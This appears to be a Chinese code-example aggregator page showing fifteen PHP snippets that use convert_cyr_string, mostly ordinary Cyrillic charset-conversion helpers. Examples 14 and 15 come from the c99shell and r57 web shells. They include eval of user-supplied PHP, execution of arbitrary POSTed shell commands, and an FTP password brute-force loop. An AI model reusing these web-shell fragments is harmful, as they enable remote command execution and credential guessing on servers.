当前位置: 首页>>代码示例>>PHP>>正文


PHP convert_cyr_string函数代码示例

本文整理汇总了PHP中convert_cyr_string函数的典型用法代码示例。如果您正苦于以下问题:PHP convert_cyr_string函数的具体用法?PHP convert_cyr_string怎么用?PHP convert_cyr_string使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了convert_cyr_string函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: GetMessage

 function GetMessage($message_id, $external_id = 0)
 {
     if (!isset($this->_messageCash[$message_id])) {
         $raw_message = $this->_pop3->getMsg($message_id);
         require_once SYS . '/system/class/email/mime/mimeDecode.php';
         $params['include_bodies'] = true;
         $params['decode_bodies'] = true;
         $params['decode_headers'] = true;
         $decoder = new Mail_mimeDecode($raw_message);
         $msg = $decoder->decode($params);
         //				Dump($msg, true);
         $msg->external_id = $external_id;
         if (isset($msg->headers['date'])) {
             $msg->Moment = strtotime($msg->headers['date']);
         } else {
             $msg->Moment = 0;
         }
         $msg = $this->ProcessMessageBody($msg);
         if (strtoupper($msg->charset) == 'KOI8-R') {
             $msg->body = convert_cyr_string($msg->body, 'koi8-r', 'Windows-1251');
             $msg->headers['subject'] = convert_cyr_string($msg->headers['subject'], 'koi8-r', 'Windows-1251');
             $msg->charset = 'Windows-1251';
         }
         $this->_messageCash[$message_id] = $msg;
         $this->got_inner_body = null;
     }
     return $this->_messageCash[$message_id];
 }
开发者ID:juliogallardo1326,项目名称:proc,代码行数:28,代码来源:nsemail.class.php

示例2: get_matching_phrase

 function get_matching_phrase()
 {
     $phrase = parent::get_matching_phrase();
     if (utf8_strpos($this->uri, 'yandpage') !== false) {
         $phrase = convert_cyr_string(urldecode($phrase), 'k', 'w');
     }
     return $phrase;
 }
开发者ID:BackupTheBerlios,项目名称:limb-svn,代码行数:8,代码来源:search_engine_yandex_rule.class.php

示例3: utf8_to_win

function utf8_to_win($str)
{
    $str = utf8_decode($str);
    //  utf8 to iso8859-5
    $str = convert_cyr_string($str, 'i', 'w');
    // w - windows-1251   to  i - iso8859-5
    return $str;
}
开发者ID:alex-k,项目名称:velotur,代码行数:8,代码来源:tourinfo.php

示例4: win2uni

 function win2uni($s)
 {
     $s = convert_cyr_string($s, 'w', 'i');
     for ($result = '', $i = 0; $i < strlen($s); $i++) {
         $charcode = ord($s[$i]);
         $result .= $charcode > 175 ? "&#" . (1040 + ($charcode - 176)) . ";" : $s[$i];
     }
     return $result;
 }
开发者ID:themiddleearth,项目名称:RPG.SU,代码行数:9,代码来源:index.php

示例5: win2uni

function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); // преобразование win1251 -> iso8859-5
    // преобразование iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  } 
开发者ID:nikuha,项目名称:rs,代码行数:10,代码来源:func.php

示例6: transfer

function transfer($string)
{
    $isostring = convert_cyr_string($string, "w", "i");
    for ($i = 0; $i < strlen($isostring); $i++) {
        $char = substr($isostring, $i, 1);
        $charcode = ord($char);
        $unistring .= $charcode > 175 ? "&#" . (1040 + ($charcode - 176)) . ";" : $char;
    }
    return $unistring;
}
开发者ID:dapfru,项目名称:gladiators,代码行数:10,代码来源:code.php

示例7: win2uni

 function win2uni($s)
 {
     $s = convert_cyr_string($s, 'w', 'i');
     $result = '';
     $n = strlen($s);
     for ($i = 0; $i < $n; ++$i) {
         $charcode = ord($s[$i]);
         $result .= $charcode > 175 ? '&#' . (1040 + ($charcode - 176)) . ';' : $s[$i];
     }
     return $result;
 }
开发者ID:kakserpom,项目名称:WakePHP,代码行数:11,代码来源:ImageDraw.php

示例8: convert_cyr_array

function convert_cyr_array($array, $from, $to)
{
    foreach ($array as $key => $value) {
        if (is_array($value)) {
            $result[$key] = convert_cyr_array($value, $from, $to);
            continue;
        }
        $result[$key] = convert_cyr_string($value, $from, $to);
    }
    return $result;
}
开发者ID:kshark27,项目名称:Violist,代码行数:11,代码来源:convert_cyr_string.php

示例9: toUnicode

function toUnicode($string)
{
    $string = convert_cyr_string($string, "w", "i");
    //Функция convert_cyr_string() - преобразует строку из одной кириллической кодировки в другую(1 - конвертируемая строка; 2 - Исходная кириллическая кодировка, один символ; 3 - результирующая кириллическая кодировка, один символ. )
    $unicode = "";
    for ($i = 0; $i < strlen($string); $i++) {
        $char = $string[$i];
        $code = ord($char);
        $unicode .= $code < 175 ? $char : "&#" . (1040 + ($code - 176)) . ";";
    }
    return $unicode;
}
开发者ID:echmaster,项目名称:data,代码行数:12,代码来源:unicode.php

示例10: Convert

 function Convert($aTxt, $aFF)
 {
     if (LANGUAGE_GREEK) {
         if (GREEK_FROM_WINDOWS) {
             $unistring = LanguageConv::gr_win2uni($aTxt);
         } else {
             $unistring = LanguageConv::gr_iso2uni($aTxt);
         }
         return $unistring;
     } elseif (LANGUAGE_CYRILLIC) {
         if (CYRILLIC_FROM_WINDOWS && (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'windows-1251'))) {
             $aTxt = convert_cyr_string($aTxt, "w", "k");
         }
         if (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'koi8-r') || stristr(LANGUAGE_CHARSET, 'windows-1251')) {
             $isostring = convert_cyr_string($aTxt, "k", "i");
             $unistring = LanguageConv::iso2uni($isostring);
         } else {
             $unistring = $aTxt;
         }
         return $unistring;
     } elseif ($aFF === FF_SIMSUN) {
         // Do Chinese conversion
         if ($this->g2312 == null) {
             include_once 'jpgraph_gb2312.php';
             $this->g2312 = new GB2312toUTF8();
         }
         return $this->g2312->gb2utf8($aTxt);
     } elseif ($aFF === FF_CHINESE) {
         if (!function_exists('iconv')) {
             JpGraphError::RaiseL(25006);
             //('Usage of FF_CHINESE (FF_BIG5) font family requires that your PHP setup has the iconv() function. By default this is not compiled into PHP (needs the "--width-iconv" when configured).');
         }
         return iconv('BIG5', 'UTF-8', $aTxt);
     } elseif (ASSUME_EUCJP_ENCODING && ($aFF == FF_MINCHO || $aFF == FF_GOTHIC || $aFF == FF_PMINCHO || $aFF == FF_PGOTHIC)) {
         if (!function_exists('mb_convert_encoding')) {
             JpGraphError::RaiseL(25127);
         }
         return mb_convert_encoding($aTxt, 'UTF-8', 'EUC-JP');
     } elseif ($aFF == FF_DAVID || $aFF == FF_MIRIAM || $aFF == FF_AHRON) {
         return LanguageConv::heb_iso2uni($aTxt);
     } else {
         return $aTxt;
     }
 }
开发者ID:evilgeny,项目名称:bob,代码行数:44,代码来源:jpgraph_ttf.inc.php

示例11: convert

 /**
  * {@inheritdoc}
  */
 public function convert($string, $from, $to)
 {
     // @todo Move to a normalizer.
     $to = str_replace('-', '', strtolower($to));
     $from = str_replace('-', '', strtolower($from));
     if ($to === $from) {
         return $string;
     }
     // We can at least handle these cases for now.
     if ($to === 'utf8' && $from === 'iso88591') {
         return utf8_encode($string);
     }
     if ($to === 'iso88591' && $from === 'utf8') {
         return utf8_decode($string);
     }
     if (isset(static::$cyrillic[$to]) && isset(static::$cyrillic[$from])) {
         return convert_cyr_string($str, $from, $to);
     }
 }
开发者ID:twistor,项目名称:character-encoder,代码行数:22,代码来源:Userspace.php

示例12: Convert

 function Convert($aTxt, $aFF)
 {
     if (LANGUAGE_GREEK) {
         if (GREEK_FROM_WINDOWS) {
             $unistring = LanguageConv::gr_win2uni($aTxt);
         } else {
             $unistring = LanguageConv::gr_iso2uni($aTxt);
         }
         return $unistring;
     } elseif (LANGUAGE_CYRILLIC) {
         if (CYRILLIC_FROM_WINDOWS && (!defined('CYRILLIC_LANGUAGE_CHARSET') || stristr(CYRILLIC_LANGUAGE_CHARSET, 'windows-1251'))) {
             $aTxt = convert_cyr_string($aTxt, "w", "k");
         }
         if (!defined('CYRILLIC_LANGUAGE_CHARSET') || stristr(CYRILLIC_LANGUAGE_CHARSET, 'koi8-r') || stristr(CYRILLIC_LANGUAGE_CHARSET, 'windows-1251')) {
             $isostring = convert_cyr_string($aTxt, "k", "i");
             $unistring = LanguageConv::iso2uni($isostring);
         } else {
             $unistring = $aTxt;
         }
         return $unistring;
     } elseif ($aFF === FF_SIMSUN) {
         if ($this->g2312 == null) {
             include_once 'jpgraph_gb2312.php';
             $this->g2312 = new GB2312toUTF8();
         }
         return $this->g2312->gb2utf8($aTxt);
     } elseif ($aFF === FF_CHINESE) {
         if (!function_exists('iconv')) {
             JpGraphError::RaiseL(25006);
         }
         return iconv('BIG5', 'UTF-8', $aTxt);
     } elseif (ASSUME_EUCJP_ENCODING && ($aFF == FF_MINCHO || $aFF == FF_GOTHIC || $aFF == FF_PMINCHO || $aFF == FF_PGOTHIC)) {
         if (!function_exists('mb_convert_encoding')) {
             JpGraphError::RaiseL(25127);
         }
         return mb_convert_encoding($aTxt, 'UTF-8', 'EUC-JP');
     } elseif ($aFF == FF_DAVID || $aFF == FF_MIRIAM || $aFF == FF_AHRON) {
         return $this->heb_iso2uni($aTxt);
     } else {
         return $aTxt;
     }
 }
开发者ID:natanoj,项目名称:nuBuilderPro,代码行数:42,代码来源:jpgraph_ttf.inc.php

示例13: decode_eml

/**
 * EML 文件解码
 *
 * @param string
 * @return string
 */
function decode_eml($string)
{
    $pos = strpos($string, '=?');
    if (!is_int($pos)) {
        return $string;
    }
    $preceding = substr($string, 0, $pos);
    // save any preceding text
    $search = substr($string, $pos + 2);
    // the mime header spec says this is the longest a single encoded word can be
    $part_1 = strpos($search, '?');
    if (!is_int($part_1)) {
        return $string;
    }
    $charset = substr($string, $pos + 2, $part_1);
    // 取出字符集的定义部分
    $search = substr($search, $part_1 + 1);
    // 字符集定义以后的部分 => $search
    $part_2 = strpos($search, '?');
    if (!is_int($part_2)) {
        return $string;
    }
    $encoding = substr($search, 0, $part_2);
    // 两个? 之间的部分编码方式: q 或 b 
    $search = substr($search, $part_2 + 1);
    $end = strpos($search, '?=');
    // $part_2 + 1 与 $end 之间是编码了的内容: => $endcoded_text;
    if (!is_int($end)) {
        return $string;
    }
    $encoded_text = substr($search, 0, $end);
    $rest = substr($string, strlen($preceding . $charset . $encoding . $encoded_text) + 6);
    // + 6 是前面去掉的 =????= 六个字符
    switch (strtolower($encoding)) {
        case 'q':
            $decoded = quoted_printable_decode($encoded_text);
            if (strtolower($charset) == 'windows-1251') {
                $decoded = convert_cyr_string($decoded, 'w', 'k');
            }
            break;
        case 'b':
            $decoded = base64_decode($encoded_text);
            if (strtolower($charset) == 'windows-1251') {
                $decoded = convert_cyr_string($decoded, 'w', 'k');
            }
            break;
        default:
            $decoded = '=?' . $charset . '?' . $encoding . '?' . $encoded_text . '?=';
            break;
    }
    return $preceding . $decoded . decode_eml($rest);
}
开发者ID:chenruixuan,项目名称:wecenter,代码行数:58,代码来源:functions.inc.php

示例14: ob_get_contents

             }
             echo "</table>";
         }
     }
 }
 if ($act == "eval") {
     if (!empty($eval)) {
         echo "<b>Result of execution this PHP-code</b>:<br>";
         $tmp = ob_get_contents();
         $olddir = realpath(".");
         @chdir($d);
         if ($tmp) {
             ob_clean();
             eval($eval);
             $ret = ob_get_contents();
             $ret = convert_cyr_string($ret, "d", "w");
             ob_clean();
             echo $tmp;
             if ($eval_txt) {
                 $rows = count(explode("\n", $ret)) + 1;
                 if ($rows < 10) {
                     $rows = 10;
                 }
                 echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
             } else {
                 echo $ret;
             }
         } else {
             if ($eval_txt) {
                 echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
                 eval($eval);
开发者ID:uncia,项目名称:webshell,代码行数:31,代码来源:c99shell.php

示例15: ex

                    }
                    @mssql_query("drop table r57_temp_table", $db);
                } else {
                    echo "[-] ERROR! Can't select database";
                }
                @mssql_close($db);
            } else {
                echo "[-] ERROR! Can't connect to MSSQL server";
            }
            break;
    }
} else {
    if ($_POST['cmd'] != "php_eval" && $_POST['cmd'] != "mysql_dump" && $_POST['cmd'] != "db_show" && $_POST['cmd'] != "db_query" && $_POST['cmd'] != "ftp_brute") {
        $cmd_rep = ex($_POST['cmd']);
        if ($windows) {
            echo @htmlspecialchars(@convert_cyr_string($cmd_rep, 'd', 'w')) . "\n";
        } else {
            echo @htmlspecialchars($cmd_rep) . "\n";
        }
    }
}
if ($_POST['cmd'] == "ftp_brute") {
    $suc = 0;
    foreach ($users as $user) {
        $connection = @ftp_connect($ftp_server, $ftp_port, 10);
        if (@ftp_login($connection, $user, $user)) {
            echo "[+] {$user}:{$user} - success\r\n";
            $suc++;
        } else {
            if (isset($_POST['reverse'])) {
                if (@ftp_login($connection, $user, strrev($user))) {
开发者ID:Theov,项目名称:webshells,代码行数:31,代码来源:r57.php


注:本文中的convert_cyr_string函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。